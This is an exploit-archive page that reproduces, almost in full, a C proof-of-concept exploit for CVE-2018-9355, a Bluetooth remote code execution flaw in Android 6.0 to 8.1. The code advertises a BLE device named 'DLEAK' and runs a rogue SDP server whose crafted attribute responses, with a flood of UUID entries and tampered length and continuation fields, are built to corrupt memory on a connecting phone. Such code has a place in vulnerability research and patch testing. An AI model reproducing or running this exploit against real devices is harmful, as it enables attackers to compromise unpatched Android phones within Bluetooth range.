Advertisement






Android 6.0-8.1 Bluetooth Remote Code Execution PoC

CVE Category Price Severity
CVE-2018-9355 CWE-XXX Not specified High
Author Risk Exploitation Type Date
Not specified High Remote 2018-06-06
CVSS EPSS EPSSP
CVSS:3.1/AV:A/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H 0.02192 0.50148

CVSS vector description

Our sensors found this exploit at: https://cxsecurity.com/ascii/WLB-2018060062

Below is a copy:

Android 6.0-8.1 Bluetooth Remote Code Execution PoC
/*
 *  This program is free software; you can redistribute it and/or modify
 *  it under the terms of the GNU General Public License as published by
 *  the Free Software Foundation; either version 2 of the License, or
 *  (at your option) any later version.
 *
 *  This program is distributed in the hope that it will be useful,
 *  but WITHOUT ANY WARRANTY; without even the implied warranty of
 *  MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.  See the
 *  GNU General Public License for more details.
 *
 *  You should have received a copy of the GNU General Public License
 *  along with this program; if not, write to the Free Software
 *  Foundation, Inc., 51 Franklin St, Fifth Floor, Boston, MA  02110-1301  USA
 *
 */

/** CVE-2018-9355
 *  https://source.android.com/security/bulletin/2018-06-01
 */

#include <errno.h>
#include <unistd.h>
#include <stdlib.h>
#include <stdbool.h>
#include <sys/stat.h>
#include <sys/un.h>
#include <pthread.h>

#include <bluetooth/bluetooth.h>
#include <bluetooth/sdp.h>
#include <bluetooth/l2cap.h>
#include <bluetooth/hci.h>
#include <bluetooth/hci_lib.h>


#define EIR_FLAGS                   0x01  /* flags */
#define EIR_NAME_COMPLETE           0x09  /* complete local name */
#define EIR_LIM_DISC                0x01 /* LE Limited Discoverable Mode */
#define EIR_GEN_DISC                0x02 /* LE General Discoverable Mode */

#define DATA_ELE_SEQ_DESC_TYPE 6
#define UINT_DESC_TYPE 1


#define SIZE_SIXTEEN_BYTES 4
#define SIZE_EIGHT_BYTES 3
#define SIZE_FOUR_BYTES 2
#define SIZE_TWO_BYTES 1
#define SIZE_ONE_BYTE 0
#define SIZE_IN_NEXT_WORD 6
#define TWO_COMP_INT_DESC_TYPE 2
#define UUID_DESC_TYPE 3
#define ATTR_ID_SERVICE_ID 0x0003

static int count = 0;
static int do_continuation;

static int init_server(uint16_t mtu)
{
struct l2cap_options opts;
struct sockaddr_l2 l2addr;
socklen_t optlen;
int l2cap_sock;

/* Create L2CAP socket */
l2cap_sock = socket(PF_BLUETOOTH, SOCK_SEQPACKET, BTPROTO_L2CAP);
if (l2cap_sock < 0) {
printf("opening L2CAP socket: %s", strerror(errno));
return -1;
}

memset(&l2addr, 0, sizeof(l2addr));
l2addr.l2_family = AF_BLUETOOTH;
bacpy(&l2addr.l2_bdaddr, BDADDR_ANY);
l2addr.l2_psm = htobs(SDP_PSM);

if (bind(l2cap_sock, (struct sockaddr *) &l2addr, sizeof(l2addr)) < 0) {
printf("binding L2CAP socket: %s", strerror(errno));
return -1;
}

int opt = L2CAP_LM_MASTER;
if (setsockopt(l2cap_sock, SOL_L2CAP, L2CAP_LM, &opt, sizeof(opt)) < 0) {
printf("setsockopt: %s", strerror(errno));
return -1;
}

memset(&opts, 0, sizeof(opts));
optlen = sizeof(opts);

if (getsockopt(l2cap_sock, SOL_L2CAP, L2CAP_OPTIONS, &opts, &optlen) < 0) {
printf("getsockopt: %s", strerror(errno));
return -1;
}
opts.omtu = mtu;
opts.imtu = mtu;

if (setsockopt(l2cap_sock, SOL_L2CAP, L2CAP_OPTIONS, &opts, sizeof(opts)) < 0) {
printf("setsockopt: %s", strerror(errno));
return -1;
}

if (listen(l2cap_sock, 5) < 0) {
  printf("listen: %s", strerror(errno));
  return -1;
}

return l2cap_sock;
}

static int process_service_search_req(uint8_t *pkt)
{
uint8_t *start = pkt;
uint8_t *lenloc = pkt;


/* Total Handles */
bt_put_be16(400, pkt); pkt += 2;
bt_put_be16(400, pkt); pkt += 2;

/* and that's it! */
/* TODO: Can we do some heap grooming to make sure we don't get a continuation? */

//bt_put_be16((pkt - start) - 2, lenloc);
return pkt - start;
}

static uint8_t *place_uid(uint8_t *pkt, int o)
{
int i;
for (i = 0; i < 16; i++)
*pkt++ = 0x16 + (i + o);
return pkt;

}

static size_t flood_u128s(uint8_t *pkt)
{
int i;
uint8_t *start = pkt;
uint8_t *lenloc = pkt;
size_t retsize = 0;

bt_put_be16(9, pkt);pkt += 2;

if (do_continuation == 1) {
*pkt = DATA_ELE_SEQ_DESC_TYPE << 3;
*pkt |= SIZE_IN_NEXT_WORD;
pkt++;
start = pkt;
pkt += 2;
}

//*pkt = (DATA_ELE_SEQ_DESC_TYPE << 3) | SIZE_TWO_BYTES;
//pkt++;

for (i = 0; i < 31; i++) {
*pkt = (DATA_ELE_SEQ_DESC_TYPE << 3) | SIZE_TWO_BYTES;
pkt++;

*pkt = (UINT_DESC_TYPE << 3) | SIZE_TWO_BYTES;;
pkt++;
/* Attr ID */
bt_put_be16(ATTR_ID_SERVICE_ID, pkt); pkt += 2;

*pkt = (UUID_DESC_TYPE << 3) | SIZE_SIXTEEN_BYTES;
pkt++;
pkt = place_uid(pkt, i);
}
/* Set the continuation */
if (do_continuation) {
bt_put_be16(654, lenloc);
bt_put_be16(651 * 2, start);
*pkt = 1;
retsize = 658;
}
else {
bt_put_be16(651, lenloc);
//bt_put_be16(648, start);
*pkt = 0;
retsize = 654;
}
//bt_put_be16((pkt - lenloc) + 10, lenloc);
//bt_put_be16((pkt - start) + 10, start);
printf("%s: size is pkt - lenloc %zu and pkt is 0x%02x\n", __func__, pkt - lenloc, *pkt);
pkt++;

return retsize;

}

static size_t do_fake_svcsar(uint8_t *pkt)
{

int i;
uint8_t *start = pkt;
uint8_t *lenloc = pkt;
/* Id and length -- ignored in the code */
//bt_put_be16(0, pkt);pkt += 2;
//bt_put_be16(0xABCD, pkt);pkt += 2;
/* list byte count */
bt_put_be16(9, pkt);pkt += 2;

*pkt = DATA_ELE_SEQ_DESC_TYPE << 3;
*pkt |= SIZE_EIGHT_BYTES;
pkt++;

*pkt = (DATA_ELE_SEQ_DESC_TYPE << 3) | SIZE_TWO_BYTES;
pkt++;

*pkt = (UINT_DESC_TYPE << 3) | SIZE_TWO_BYTES;;
pkt++;
/* Attr ID */
bt_put_be16(0x0100, pkt); pkt += 2;

*pkt = (DATA_ELE_SEQ_DESC_TYPE << 3) | SIZE_TWO_BYTES;
pkt++;

*pkt = (DATA_ELE_SEQ_DESC_TYPE << 3) | SIZE_TWO_BYTES;
pkt++;

/* Set the continuation */
if (do_continuation)
*pkt = 1;
else
*pkt = 1;
pkt++;

/* Place the size... */
//bt_put_be16((pkt - start) - 2, lenloc);

printf("%zu\n", pkt-start);
return (size_t) (pkt - start);
}

static void process_request(uint8_t *buf, int fd)
{
sdp_pdu_hdr_t *reqhdr = (sdp_pdu_hdr_t *) buf;
sdp_pdu_hdr_t *rsphdr;
uint8_t *rsp = malloc(65535);
int status = SDP_INVALID_SYNTAX;
int send_size = 0;

memset(rsp, 0, 65535);
rsphdr = (sdp_pdu_hdr_t *)rsp;
rsphdr->tid = reqhdr->tid;

switch (reqhdr->pdu_id) {
case SDP_SVC_SEARCH_REQ:
printf("Got a svc srch req\n");
send_size = process_service_search_req(rsp + sizeof(sdp_pdu_hdr_t));
rsphdr->pdu_id = SDP_SVC_SEARCH_RSP;
rsphdr->plen = htons(send_size);
break;
case SDP_SVC_ATTR_REQ:
printf("Got a svc attr req\n");
//status = service_attr_req(req, &rsp);
rsphdr->pdu_id = SDP_SVC_ATTR_RSP;
break;
case SDP_SVC_SEARCH_ATTR_REQ:
printf("Got a svc srch attr req\n");
//status = service_search_attr_req(req, &rsp);
rsphdr->pdu_id = SDP_SVC_SEARCH_ATTR_RSP;
send_size = flood_u128s(rsp + sizeof(sdp_pdu_hdr_t));
//do_fake_svcsar(rsp + sizeof(sdp_pdu_hdr_t)) + 3;
rsphdr->plen = htons(send_size);
break;
default:
printf("Unknown PDU ID : 0x%x received", reqhdr->pdu_id);
status = SDP_INVALID_SYNTAX;
break;
}
printf("%s: sending %zu\n", __func__, send_size + sizeof(sdp_pdu_hdr_t));
send(fd, rsp, send_size + sizeof(sdp_pdu_hdr_t), 0);
free(rsp);
}


static void *l2cap_data_thread(void *input)
{
int fd = *(int *)input;
sdp_pdu_hdr_t hdr;
uint8_t *buf;
int len, size;

while (true) {
len = recv(fd, &hdr, sizeof(sdp_pdu_hdr_t), MSG_PEEK);
if (len < 0 || (unsigned int) len < sizeof(sdp_pdu_hdr_t)) {
continue;
}

size = sizeof(sdp_pdu_hdr_t) + ntohs(hdr.plen);
buf = malloc(size);
if (!buf)
continue;

printf("%s: trying to recv %d\n", __func__, size);
len = recv(fd, buf, size, 0);
if (len <= 0) {
free(buf);
continue;
}

if (!count) {
process_request(buf, fd);
count ++;
}
if (count >= 1) {
do_continuation = 0;
process_request(buf, fd);
count++;
}

free(buf);
}
}

/* derived from hciconfig.c */
static void *advertiser(void *unused)
{
uint8_t status;
int device_id, handle;
struct hci_request req = { 0 };
le_set_advertise_enable_cp acp = { 0 };
le_set_advertising_parameters_cp avc = { 0 };
le_set_advertising_data_cp data = { 0 };

device_id = hci_get_route(NULL);

if (device_id < 0) {
printf("%s: Failed to get route: %s\n", __func__, strerror(errno));
return NULL;
}
handle = hci_open_dev(hci_get_route(NULL));
if (handle < 0) {
printf("%s: Failed to open and aquire handle: %s\n", __func__, strerror(errno));
return NULL;
}

avc.min_interval = avc.max_interval = htobs(150);
avc.chan_map = 7;
req.ogf = OGF_LE_CTL;
req.ocf = OCF_LE_SET_ADVERTISING_PARAMETERS;
req.cparam = &avc;
req.clen = LE_SET_ADVERTISING_PARAMETERS_CP_SIZE;
req.rparam = &status;
req.rlen = 1;

if (hci_send_req(handle, &req, 1000) < 0) {
hci_close_dev(handle);
printf("%s: Failed to send request %s\n", __func__, strerror(errno));
return NULL;
}
memset(&req, 0, sizeof(req));
req.ogf = OGF_LE_CTL;
req.ocf = OCF_LE_SET_ADVERTISE_ENABLE;
req.cparam = &acp;
req.clen = LE_SET_ADVERTISE_ENABLE_CP_SIZE;
req.rparam = &status;
req.rlen = 1;

data.data[0] = htobs(2);
data.data[1] = htobs(EIR_FLAGS);
data.data[2] = htobs(EIR_GEN_DISC | EIR_LIM_DISC);

data.data[3] = htobs(6);
data.data[4] = htobs(EIR_NAME_COMPLETE);
data.data[5] = 'D';
data.data[6] = 'L';
data.data[7] = 'E';
data.data[8] = 'A';
data.data[9] = 'K';

data.length = 10;

memset(&req, 0, sizeof(req));
req.ogf = OGF_LE_CTL;
req.ocf = OCF_LE_SET_ADVERTISING_DATA;
req.cparam = &data;
req.clen = LE_SET_ADVERTISING_DATA_CP_SIZE;
req.rparam = &status;
req.rlen = 1;

if (hci_send_req(handle, &req, 1000) < 0) {
hci_close_dev(handle);
printf("%s: Failed to send request %s\n", __func__, strerror(errno));
return NULL;
}
printf("Device should be advertising under DLEAK\n");
}



int main(int argc, char **argv)
{
pthread_t *io_channel;
pthread_t adv;
int       fds[16];
const int io_chans = 16;
struct sockaddr_l2 addr;
socklen_t qlen = sizeof(addr);
socklen_t len = sizeof(addr);
int l2cap_sock;
int i;


pthread_create(&adv, NULL, advertiser, NULL);
l2cap_sock = init_server(652);
if (l2cap_sock < 0)
return EXIT_FAILURE;

io_channel = malloc(io_chans * sizeof(*io_channel));
if (!io_channel)
return EXIT_FAILURE;

do_continuation = 1;
for (i = 0; i < io_chans; i++) {
printf("%s: Going to accept on io chan %d\n", __func__, i);
fds[i] = accept(l2cap_sock, (struct sockaddr *) &addr, &len);
if (fds[i] < 0) {
i--;
printf("%s: Accept failed with %s\n", __func__, strerror(errno));
continue;
}
printf("%s: accepted\n", __func__);
pthread_create(&io_channel[i], NULL, l2cap_data_thread, &fds[i]);
}
}

Copyright ©2024 Exploitalert.

This information is provided for TESTING and LEGAL RESEARCH purposes only.
All trademarks used are properties of their respective owners. By visiting this website you agree to Terms of Use and Privacy Policy and Impressum